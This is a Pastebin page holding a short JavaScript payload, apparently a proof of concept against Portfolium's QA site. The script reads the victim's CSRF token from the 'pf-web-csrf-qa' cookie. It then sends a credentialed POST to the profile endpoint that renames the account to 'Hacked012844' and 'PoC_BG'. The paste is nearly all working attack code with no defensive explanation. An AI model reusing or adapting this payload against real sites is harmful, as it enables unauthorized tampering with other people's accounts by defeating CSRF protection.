Advertisement
BitTheByte

Untitled

Oct 17th, 2019
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.75 KB | None | 0 0
  1. function getCookie(cname) {
  2. var name = cname + "=";
  3. var decodedCookie = decodeURIComponent(document.cookie);
  4. var ca = decodedCookie.split(';');
  5. for(var i = 0; i <ca.length; i++) {
  6. var c = ca[i];
  7. while (c.charAt(0) == ' ') {
  8. c = c.substring(1);
  9. }
  10. if (c.indexOf(name) == 0) {
  11. return c.substring(name.length, c.length);
  12. }
  13. }
  14. return "";
  15. }
  16. //alert(getCookie("pf-web-csrf-qa"));
  17. var xmlHttp = new XMLHttpRequest();
  18. xmlHttp.open("POST", "https://qa.portfolium.com/proxy/users/profile", true);
  19. xmlHttp.withCredentials = true
  20. xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  21. xmlHttp.send("username=Hacked012844&lastname=PoC_BG&firstname=PoC_BG&csrf_token=" + getCookie("pf-web-csrf-qa"));
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement